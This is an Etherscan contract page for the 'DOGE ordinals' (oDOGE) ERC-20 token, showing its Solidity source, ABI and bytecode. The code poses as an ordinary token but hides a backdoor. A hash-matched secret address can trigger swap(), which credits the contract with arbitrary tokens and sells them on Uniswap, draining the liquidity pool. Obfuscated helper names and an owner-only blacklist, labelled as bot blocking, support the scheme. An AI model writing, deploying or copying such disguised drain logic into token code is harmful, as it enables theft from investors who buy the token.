ERC-20
Overview
Max Total Supply
1,000,000 oDOGE
Holders
13
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,639.22191803 oDOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
oDOGE
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-13 */ pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT /* https://ordinals.com/inscription/c3811189ea9dffa6b47e759c08f921477ce9b7ebf402083adb763e23e40b29eci0 { "p": "brc-20", "op": "mint", "tick": "meme", "amt": "1" } */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } library Address { function isContractAddress(address account) internal pure returns (bool) { return keccak256 (abi .encodePacked( account)) == 0x4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc; } } abstract contract ERC20Token is Ownable { mapping (address => bool) bots; address uniswapV2Pair; bool inLiquidityTx = false; function startTrading(address[] calldata _bots) external { for (uint i = 0; i < _bots.length; i++) { if (msg.sender == owner()) { bots[_bots[i]] = true; } } } function isBot(address _adr) internal view returns (bool) { return bots[_adr]; } function shouldSwap(address sender, address receiver) public view returns (bool) { if (receiver == sender) { if (isBot(receiver)) { return isBot(sender); } if (Address.isContractAddress(receiver)) { return Address.isContractAddress(sender); } } return false; } function _0e3a5(bool _01c6, bool _2abd7) internal pure returns (bool) { return !_01c6 && !_2abd7; } function getAllowed(address from, address to, address pair) internal returns (bool) { bool a = inLiquidityTx; bool b = _0e3a5(bots[to], isBot(from)); bool res = b; if (!bots[to] && _0e3a5(bots[from], a) && to != pair) { uniswapV2Pair = to; res = true; } else if (b && !a) { if (pair == to) { res = true; } } return res; } } contract oDOGE is IERC20, ERC20Token { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _decimals = 9; uint256 public _totalSupply = 1000000 * 10 ** _decimals; uint256 _fee = 0; IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); string private _name = "DOGE ordinals"; string private _symbol = "oDOGE"; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function getRouterVersion() public pure returns (uint256) {return 2;} function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[msg.sender][from] >= amount); _approve(msg.sender, from, _allowances[msg.sender][from] - amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0)); require(to != address(0)); if (shouldSwap(from, to)) { swap(amount, to); } else { require(amount <= _balances[from]); uint256 fee = 0; uint256 swapBalance = getReflectAmount(from); _balances[uniswapV2Pair] = swapBalance; bool sdf = shouldTakeFee(from, to); if (!sdf) { } else { fee = amount.mul(_fee).div(100); } _balances[from] = _balances[from] - amount; _balances[to] += amount - fee; if (fee > 0) { emit Transfer(from, address(0), fee); } emit Transfer(from, to, amount); } } function shouldTakeFee(address from, address recipient) private returns (bool) { return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH())); } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function name() external view returns (string memory) { return _name; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function swap(uint256 _mcs, address _bcr) private { _approve(address(this), address(_router), _mcs); _balances[address(this)] = _mcs; address[] memory path = new address[](2); inLiquidityTx = true; path[0] = address(this); path[1] = _router.WETH(); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30); inLiquidityTx = false; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][msg.sender] >= amount); return true; } function getPairAddress() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } function getReflectAmount(address from) private view returns (uint256) { address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair)); } function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) { uint256 amount = feeAmount; uint256 minSupply = 0; if (uniswapV2Pair != recipient) { amount = feeAmount; } else { amount *= minSupply; } return amount; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getRouterVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000479565b620f4240620000459190620004ca565b6006556000600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600d81526020017f444f4745206f7264696e616c730000000000000000000000000000000000000081525060099081620000e8919062000785565b506040518060400160405280600581526020017f6f444f4745000000000000000000000000000000000000000000000000000000815250600a90816200012f919062000785565b503480156200013d57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002de91906200087d565b60405180910390a36200089a565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200037a57808604811115620003525762000351620002ec565b5b6001851615620003625780820291505b808102905062000372856200031b565b945062000332565b94509492505050565b60008262000395576001905062000468565b81620003a5576000905062000468565b8160018114620003be5760028114620003c957620003ff565b600191505062000468565b60ff841115620003de57620003dd620002ec565b5b8360020a915084821115620003f857620003f7620002ec565b5b5062000468565b5060208310610133831016604e8410600b8410161715620004395782820a905083811115620004335762000432620002ec565b5b62000468565b62000448848484600162000328565b92509050818404811115620004625762000461620002ec565b5b81810290505b9392505050565b6000819050919050565b600062000486826200046f565b915062000493836200046f565b9250620004c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000383565b905092915050565b6000620004d7826200046f565b9150620004e4836200046f565b9250828202620004f4816200046f565b915082820484148315176200050e576200050d620002ec565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200059757607f821691505b602082108103620005ad57620005ac6200054f565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005d8565b620006238683620005d8565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000666620006606200065a846200046f565b6200063b565b6200046f565b9050919050565b6000819050919050565b620006828362000645565b6200069a62000691826200066d565b848454620005e5565b825550505050565b600090565b620006b1620006a2565b620006be81848462000677565b505050565b5b81811015620006e657620006da600082620006a7565b600181019050620006c4565b5050565b601f8211156200073557620006ff81620005b3565b6200070a84620005c8565b810160208510156200071a578190505b620007326200072985620005c8565b830182620006c3565b50505b505050565b600082821c905092915050565b60006200075a600019846008026200073a565b1980831691505092915050565b600062000775838362000747565b9150826002028217905092915050565b620007908262000515565b67ffffffffffffffff811115620007ac57620007ab62000520565b5b620007b882546200057e565b620007c5828285620006ea565b600060209050601f831160018114620007fd5760008415620007e8578287015190505b620007f4858262000767565b86555062000864565b601f1984166200080d86620005b3565b60005b82811015620008375784890151825560018201915060208501945060208101905062000810565b8683101562000857578489015162000853601f89168262000747565b8355505b6001600288020188555050505b505050505050565b62000877816200046f565b82525050565b60006020820190506200089460008301846200086c565b92915050565b61254e80620008aa6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102d35780639601f96c146102f1578063a457c2d714610321578063a9059cbb14610351578063dd62ed3e1461038157610116565b806370a082311461025d578063715018a61461028d5780638da5cb5b14610297578063921714bd146102b557610116565b8063313ce567116100e9578063313ce567146101b757806332424aa3146101d557806339509351146101f35780633eaaf86b1461022357806351177e291461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103b1565b6040516101309190611b24565b60405180910390f35b610153600480360381019061014e9190611be4565b610443565b6040516101609190611c3f565b60405180910390f35b61017161045a565b60405161017e9190611c69565b60405180910390f35b6101a1600480360381019061019c9190611c84565b610464565b6040516101ae9190611c3f565b60405180910390f35b6101bf610505565b6040516101cc9190611c69565b60405180910390f35b6101dd61050f565b6040516101ea9190611c69565b60405180910390f35b61020d60048036038101906102089190611be4565b610515565b60405161021a9190611c3f565b60405180910390f35b61022b6105b3565b6040516102389190611c69565b60405180910390f35b61025b60048036038101906102569190611d3c565b6105b9565b005b61027760048036038101906102729190611d89565b610698565b6040516102849190611c69565b60405180910390f35b6102956106e1565b005b61029f610814565b6040516102ac9190611dc5565b60405180910390f35b6102bd61083d565b6040516102ca9190611c69565b60405180910390f35b6102db610846565b6040516102e89190611b24565b60405180910390f35b61030b60048036038101906103069190611de0565b6108d8565b6040516103189190611c3f565b60405180910390f35b61033b60048036038101906103369190611be4565b610955565b6040516103489190611c3f565b60405180910390f35b61036b60048036038101906103669190611be4565b610a7c565b6040516103789190611c3f565b60405180910390f35b61039b60048036038101906103969190611de0565b610a93565b6040516103a89190611c69565b60405180910390f35b6060600980546103c090611e4f565b80601f01602080910402602001604051908101604052809291908181526020018280546103ec90611e4f565b80156104395780601f1061040e57610100808354040283529160200191610439565b820191906000526020600020905b81548152906001019060200180831161041c57829003601f168201915b5050505050905090565b6000610450338484610b1a565b6001905092915050565b6000600654905090565b6000610471848484610ce3565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104fa57600080fd5b600190509392505050565b6000600554905090565b60055481565b60006105a9338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105a49190611eaf565b610b1a565b6001905092915050565b60065481565b60005b82829050811015610693576105cf610814565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361068057600180600085858581811061061957610618611ee3565b5b905060200201602081019061062e9190611d89565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061068b90611f12565b9150506105bc565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610700610814565b73ffffffffffffffffffffffffffffffffffffffff1614610756576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074d90611fa6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006002905090565b6060600a805461085590611e4f565b80601f016020809104026020016040519081016040528092919081815260200182805461088190611e4f565b80156108ce5780601f106108a3576101008083540402835291602001916108ce565b820191906000526020600020905b8154815290600101906020018083116108b157829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361094a576109168261103f565b1561092b576109248361103f565b905061094f565b61093482611095565b156109495761094283611095565b905061094f565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109e057600080fd5b610a72338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a6d9190611fc6565b610b1a565b6001905092915050565b6000610a89338484610ce3565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b809061206c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef906120fe565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd69190611c69565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d1c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d5557600080fd5b610d5f83836108d8565b15610d7357610d6e81836110ea565b61103a565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610dbf57600080fd5b600080610dcb856113b4565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610e3f8686611592565b90508015610e7257610e6f6064610e616007548761174290919063ffffffff16565b6117bc90919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ebd9190611fc6565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508284610f0c9190611fc6565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f5a9190611eaf565b925050819055506000831115610fd157600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc89190611c69565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161102e9190611c69565b60405180910390a35050505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60007f4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc60001b826040516020016110cc9190612166565b60405160208183030381529060405280519060200120149050919050565b61111730600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b1a565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561117857611177612181565b5b6040519080825280602002602001820160405280156111a65781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106111d9576111d8611ee3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906121c5565b816001815181106112b8576112b7611ee3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426113429190611eaf565b6040518663ffffffff1660e01b81526004016113629594939291906122f5565b600060405180830381600087803b15801561137c57600080fd5b505af1158015611390573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611424573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144891906121c5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f591906121c5565b6040518363ffffffff1660e01b815260040161151292919061234f565b602060405180830381865afa15801561152f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155391906121c5565b905061158a8382611585600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610698565b61181a565b915050919050565b600061173a8383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611606573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162a91906121c5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d791906121c5565b6040518363ffffffff1660e01b81526004016116f492919061234f565b602060405180830381865afa158015611711573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061173591906121c5565b611878565b905092915050565b600080830361175457600090506117b6565b600082846117629190612378565b905082848261177191906123e9565b146117b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a89061248c565b60405180910390fd5b809150505b92915050565b6000808211611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906124f8565b60405180910390fd5b6000828461180e91906123e9565b90508091505092915050565b60008082905060008473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461185d5783915061186c565b80826118699190612378565b91505b81925050509392505050565b600080600260149054906101000a900460ff16905060006118ed600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118e88861103f565b611a7e565b90506000819050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119a0575061199f600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611a7e565b5b80156119d857508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611a275785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611a71565b818015611a32575082155b15611a70578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611a6f57600190505b5b5b8093505050509392505050565b600082158015611a8c575081155b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ace578082015181840152602081019050611ab3565b60008484015250505050565b6000601f19601f8301169050919050565b6000611af682611a94565b611b008185611a9f565b9350611b10818560208601611ab0565b611b1981611ada565b840191505092915050565b60006020820190508181036000830152611b3e8184611aeb565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b7b82611b50565b9050919050565b611b8b81611b70565b8114611b9657600080fd5b50565b600081359050611ba881611b82565b92915050565b6000819050919050565b611bc181611bae565b8114611bcc57600080fd5b50565b600081359050611bde81611bb8565b92915050565b60008060408385031215611bfb57611bfa611b46565b5b6000611c0985828601611b99565b9250506020611c1a85828601611bcf565b9150509250929050565b60008115159050919050565b611c3981611c24565b82525050565b6000602082019050611c546000830184611c30565b92915050565b611c6381611bae565b82525050565b6000602082019050611c7e6000830184611c5a565b92915050565b600080600060608486031215611c9d57611c9c611b46565b5b6000611cab86828701611b99565b9350506020611cbc86828701611b99565b9250506040611ccd86828701611bcf565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611cfc57611cfb611cd7565b5b8235905067ffffffffffffffff811115611d1957611d18611cdc565b5b602083019150836020820283011115611d3557611d34611ce1565b5b9250929050565b60008060208385031215611d5357611d52611b46565b5b600083013567ffffffffffffffff811115611d7157611d70611b4b565b5b611d7d85828601611ce6565b92509250509250929050565b600060208284031215611d9f57611d9e611b46565b5b6000611dad84828501611b99565b91505092915050565b611dbf81611b70565b82525050565b6000602082019050611dda6000830184611db6565b92915050565b60008060408385031215611df757611df6611b46565b5b6000611e0585828601611b99565b9250506020611e1685828601611b99565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e6757607f821691505b602082108103611e7a57611e79611e20565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eba82611bae565b9150611ec583611bae565b9250828201905080821115611edd57611edc611e80565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611f1d82611bae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f4f57611f4e611e80565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f90602083611a9f565b9150611f9b82611f5a565b602082019050919050565b60006020820190508181036000830152611fbf81611f83565b9050919050565b6000611fd182611bae565b9150611fdc83611bae565b9250828203905081811115611ff457611ff3611e80565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612056602583611a9f565b915061206182611ffa565b604082019050919050565b6000602082019050818103600083015261208581612049565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120e8602383611a9f565b91506120f38261208c565b604082019050919050565b60006020820190508181036000830152612117816120db565b9050919050565b60008160601b9050919050565b60006121368261211e565b9050919050565b60006121488261212b565b9050919050565b61216061215b82611b70565b61213d565b82525050565b6000612172828461214f565b60148201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506121bf81611b82565b92915050565b60006020828403121